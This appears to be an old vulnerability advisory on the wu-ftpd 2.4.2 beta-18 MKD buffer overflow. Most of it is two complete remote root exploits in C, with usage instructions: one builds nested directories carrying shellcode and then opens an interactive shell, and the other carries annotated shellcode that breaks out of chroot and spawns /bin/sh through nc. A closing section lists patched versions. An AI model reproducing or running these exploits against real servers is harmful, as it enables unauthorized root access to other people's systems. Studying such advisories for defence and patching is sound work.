COMMAND
wuftpd
SYSTEMS AFFECTED
Systems running wuftpd
PROBLEM
Note that origin of this vulnerability was talkded on following
location:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/ftpd14.html
Pieter Nieuwenhuijsen posted following exploit against WU-Ftpd.
It is remote exploit tested against wu-2.4.2-academ[BETA-18](1).
To exploit this remotely they need to have a directory you can
have write privlidges to.. this is the <dir> argument.. you can
also use this locally by specifying -l <ur login> -p <urpass> with
the <dir> = your home directory or something..(must begin with
'/') also alignment arg is how return address is aligned..
shouldnt need it, but if u do it should be between 0 and 3. It
takes about 10 seconds after "logged in" so be patient. Exploit
was done by duke (another one follows belowe). Someone said the
first exploit released will not work. WU-ftpd will discard nulls
characters so the return address (bf ff f3 c0) will not be passed
to the stack, which means we cannot execute the instructions
inserted in the buffer.
/*
WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
for linux x86 (redhat 5.2)
by duke
duke@viper.net.au
BIG thanks to stran9er for alot of help with part of the shellcode!
i fear stran9er, but who doesn't? !@$ :)
Greets to: #!ADM, el8.org users,
-duke
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
//#include <linux/time.h>
//#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>
#define RET 0xbfffa80f
void logintoftp();
void sh();
void mkd(char *);
int max(int, int);
long getip(char *name);
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";
char tmp[256];
char name[128], pass[128];
int sockfd;
int main(int argc, char **argv)
{
char sendln[1024], recvln[4048], buf1[800], buf2[1000];
char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1));
int len, offset = 0, i, align=0;
struct sockaddr_in cli;
if(argc < 3){
printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
exit(0);
}
for(i=0; i < argc; i++) {
fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
}
fakeargv[argc] = NULL;
while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
switch(arg) {
case 'l':
strncpy(name,optarg,128);
break;
case 'p':
strncpy(pass,optarg,128);
break;
case 'a':
align=atoi(optarg);
break;
case 'o':
offset=atoi(optarg);
break;
default:
printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
exit(0);
break;
}
}
if(name[0] == 0) strcpy(name, "anonymous");
if(pass[0] == 0) strcpy(pass, "hi@blahblah.net");
bzero(&cli, sizeof(cli));
bzero(recvln, sizeof(recvln));
bzero(sendln, sizeof(sendln));
cli.sin_family = AF_INET;
cli.sin_port = htons(21);
cli.sin_addr.s_addr=getip(argv[1]);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect");
exit(0);
}
while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
recvln[len] = '\0';
if(strchr(recvln, '\n') != NULL)
break;
}
logintoftp(sockfd);
printf("logged in.\n");
bzero(sendln, sizeof(sendln));
for(i=align; i<996; i+=4)
*(long *)&buf2[i] = RET + offset;
memcpy(buf2, "a", align);
memset(buf1, 0x90, 800);
memcpy(buf1, argv[2], strlen(argv[2]));
mkd(argv[2]);
p = &buf1[strlen(argv[2])];
q = &buf1[799];
*q = '\x0';
while(p <= q){
strncpy(tmp, p, 200);
mkd(tmp);
p+=200;
}
mkd(shellcode);
mkd("bin");
mkd("sh");
p = &buf2[0];
q = &buf2[999];
while(p <= q){
strncpy(tmp, p, 250);
mkd(tmp);
p+=250;
}
sh(sockfd);
close(sockfd);
printf("finit.\n");
}
void mkd(char *dir)
{
char snd[512], rcv[1024];
char blah[1024], *p;
int n;
struct timeval tv;
fd_set fds;
bzero(&tv, sizeof(tv));
tv.tv_usec=50;
bzero(blah, sizeof(blah));
p = blah;
for(n=0; n<strlen(dir); n++){
if(dir[n] == '\xff'){
*p = '\xff';
p++;
}
*p = dir[n];
p++;
}
sprintf(snd, "MKD %s\r\n", blah);
write(sockfd, snd, strlen(snd));
bzero(snd, sizeof(snd));
sprintf(snd, "CWD %s\r\n", blah);
write(sockfd, snd, strlen(snd));
bzero(rcv, sizeof(rcv));
FD_ZERO(&fds);
FD_SET(sockfd,&fds);
select(sockfd+1,&fds,NULL,NULL,&tv);
if (FD_ISSET(sockfd,&fds))
while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}
void logintoftp()
{
char snd[1024], rcv[1024];
int n;
printf("logging in with %s: %s\n", name, pass);
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", name);
write(sockfd, snd, strlen(snd));
while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", pass);
write(sockfd, snd, strlen(snd));
while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}
void sh()
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));
for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.\n");
exit(0);
}
if(n < 0){
perror("read");
exit(-1);
}
fputs(rcv, stdout);
}
}
}
int max(int x, int y)
{
if(x > y)
return(x);
return(y);
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if ((ip=inet_addr(name))==-1)
{
if ((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit (1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
Another exploit was done by joey of Rhino9. Please note
following:
/* To break chroot we have to...
fd = open ( ".", O_RDONLY );
mkdir ( "hax0r", 0666 );
chroot ( "hax0r" );
fchdir ( fd );
for ( i = 0; i < 254; i++ )
chdir ( ".." );
chroot ( "." );
*/
Too complex for standard linux. All we have to do to break chroot
is:
mkdir("/sh"); // we already have string "/sh" in memory as a part of
// "/bin/sh"
chroot("/sh");
chroot("../../../../../../../../../"); // a number of "../" here,
// I used 0x10
Last string can be built is stack with a simple loop. Tested on
linux 2.2.1.
/*
wu-ftpd mkdir v2.4.2-beta18 remote rewt spl01t v1.20 ( linux x86 )
by joey__ <youcan_reachme@hotmail.com> of rhino9 <http://www.rhino9.com> - 2/20/99
big thx horizon, duke, nimrood and icee
sh0utz neonsurge, xaphan, joc, sri, aalawaka, and aakanksha
USAGE:
( ./wh0a [ initialdir ] [ <username> <password> ] [ <offset> <code address> ] ; cat ) | nc <victimname> <victimport>
*/
#include <stdio.h>
char x86_shellcode0[156] =
"\x83\xec\x04" /* sub esp,4 */
/* esi -> local variables and data */
"\x5e" /* pop esi */
"\x83\xc6\x70" /* add esi,0x70 */
"\x83\xc6\x20" /* add esi,0x20 */
"\x8d\x5e\x0c" /* lea ebx,[esi+0x0c] */
/* decode the strings */
"\x31\xc9" /* xor ecx, ecx */
"\xb1\x30" /* mov cl,0x30 */
"\x80\x2b\x32" /* sub byte ptr [ebx],0x32 */
"\x43" /* inc ebx */
"\x49" /* dec ecx */
"\x75\xf9" /* jnz short decode_next_byte */
"\x31\xc0" /* xor eax,eax */
/* setuid ( 0 ) */
"\x89\xc3" /* mov ebx,eax */
"\xb0\x17" /* mov al,0x17 */
"\xcd\x80" /* int 0x80 */
"\x31\xc0" /* xor eax,eax */
/* setgid ( 0 ) */
"\x89\xc3" /* mov ebx,eax */
"\xb0\x2e" /* mov al,0x2e */
"\xcd\x80" /* int 0x80 */
/* To break chroot we have to...
fd = open ( ".", O_RDONLY );
mkdir ( "hax0r", 0666 );
chroot ( "hax0r" );
fchdir ( fd );
for ( i = 0; i < 254; i++ )
chdir ( ".." );
chroot ( "." );
*/
"\x31\xc0" /* xor eax,eax */
/* var0 = open ( ".", O_RDONLY ) */
"\x31\xc9" /* xor ecx,ecx */
"\x8d\x5e\x0f" /* lea ebx,[esi+0x0f] */
"\xb0\x05" /* mov al,0x05 */
"\xcd\x80" /* int 0x80 */
"\x89\x06" /* mov [esi],eax */
"\x31\xc0" /* xor eax,eax */
/* mkdir ( "hax0r", 0666 ) */
"\x8d\x5e\x11" /* lea ebx,[esi+0x11] */
"\x8b\x4e\x1f" /* mov ecx,[esi+0x1f] */
"\xb0\x27" /* mov al,0x27 */
"\xcd\x80" /* int 0x80 */
"\x31\xc0" /* xor eax,eax */
/* chroot ( "hax0r" ) */
"\x8d\x5e\x11" /* lea ebx,[esi+0x11] */
"\xb0\x3d" /* mov al,0x3d */
"\xcd\x80" /* int 0x80 */
"\x31\xc0" /* xor eax,eax */
/* fchdir ( fd ) */
"\x8b\x1e" /* mov ebx,[esi] */
"\xb0\x85" /* mov al,0x85 */
"\xcd\x80" /* int 0x80 */
"\x31\xc9" /* xor ecx, ecx */
/* for ( i = 0; i < 254; i++ ) { */
"\xb1\xfe" /* mov cl,0xfe */
"\x31\xc0" /* xor eax,eax */
/* chdir ( ".." ) */
"\x8d\x5e\x0c" /* lea ebx,[esi+0x0c] */
"\xb0\x0c" /* mov al,0x0c */
"\xcd\x80" /* int 0x80 */
"\x49" /* dec ecx */
/* } */
"\x75\xf4" /* jnz short goto_parent_dir */
"\x31\xc0" /* xor eax,eax */
/* chroot ( "." ) */
"\x8d\x5e\x0f" /* lea ebx,[esi+0x0f] */
"\xb0\x3d" /* mov al,0x3d */
"\xcd\x80" /* int 0x80 */
"\x31\xc0" /* xor eax,eax */
/* execve ( "/bin/sh", "xxxxx", NULL ) */
"\x8d\x5e\x17" /* lea ebx,[esi+0x17] */
"\x8d\x4e\x04" /* lea ecx,[esi+0x04] */
"\x8d\x56\x08" /* lea edx,[esi+0x08] */
"\x89\x19" /* mov [ecx],ebx */
"\x89\x02" /* mov [edx],eax */
"\xb0\x0b" /* mov al, 0x0b */
"\xcd\x80" /* int 0x80 */
"\x31\xdb" /* xor ebx,ebx */
/* exit ( 0 ) */
"\x89\xd8" /* mov eax,ebx */
"\x40" /* inc eax */
"\xcd\x80" /* int 0x80 */
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"var0"
/* local variable integer */
"cmd0"
/* char *cmd[2] */
"cmd1";
char x86_shellcode1[1024] =
".."
"\x00"
"."
"\x00"
"hax0r"
"\x00"
"/bin/sh"
"\x00"
"\xb6\x01\x00\x00";
char vardir[300];
int varlen;
main ( int argc, char **argv )
{
char *username, *password, *initialdir;
int bufoffset, codeaddr, i, j, *pcodeaddr;
if ( argc > 1 )
initialdir = argv[1];
else initialdir = "/incoming";
if ( argc > 3 )
{
username = argv[2];
password = argv[3];
}
else
{
username = "anonymous";
password = "poon@ni.com";
}
if ( argc > 5 )
{
bufoffset = atoi ( argv[4] );
codeaddr = atoi ( argv[5] );
}
else
{
bufoffset = 195;
codeaddr = 0x0805ac81;
}
printf ( "user %s\n", username );
printf ( "pass %s\n", password );
printf ( "cwd %s\n", initialdir );
varlen = bufoffset - strlen ( initialdir );
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );
varlen = 210;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );
varlen = 210;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );
varlen = 170;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );
varlen = 250;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
for ( i = 0; i < sizeof ( x86_shellcode0 ); i++ )
vardir[i] = x86_shellcode0[i];
j = 0;
for ( i = sizeof ( x86_shellcode0 ); j < 32; i++ )
{
vardir[i] = ( char ) ( x86_shellcode1[j++] + 0x32 );
}
pcodeaddr = ( int * ) &( vardir[varlen] );
*pcodeaddr = codeaddr;
vardir[varlen+4] = 0;
printf ( "mkd %s\n", vardir );
}
SOLUTION
This is an exploit using the buffer overflow described in:
CERT Advisory CA-99.03 - FTP-Buffer-Overflows
It is directed solely at Redhat CD 4.2 Linux systems running a
clean, default install. It was not successfull on unclean 5.2
systems, the pre-5.2 systems tested on, or when built with the
daemon by-hand instead of using a Redhat (S)RPM. Testings
showed, while none of the systems available were exploitable,
the exploit WOULD HAVE WORKED but failed for identifiable
reasons. Given working code for Redhat 4.2, it should be a
fairly simply matter to port to non-Linux or non-5.2 systems.
Who is not vulnerable?
- Systems running 2.4.2 (final) are protected against _this_ bug.
Such systems should upgrade to VR16 for maximum security; a
number of other bugs and security problems have been fixed in
VR16.
- Systems running 2.4.2-beta-18-VR10 or later are protected.
Anyone running VR10 through VR13 should upgrade to VR14 or later
at your earliest convenience.
- Systems running BeroFTPD 1.2.0 or later are NOT vulnerable. All
BeroFTPD systems should upgrade to the current version (1.3.4)
at their earliest conenience. Anyone running a vulnerable
system with NEWVIRT, will want to immedeately upgrade to
BeroFTPD.
The location of the latest version of wu-ftpd can be found in the
directory
ftp://ftp.vr.net/pub/wu-ftpd/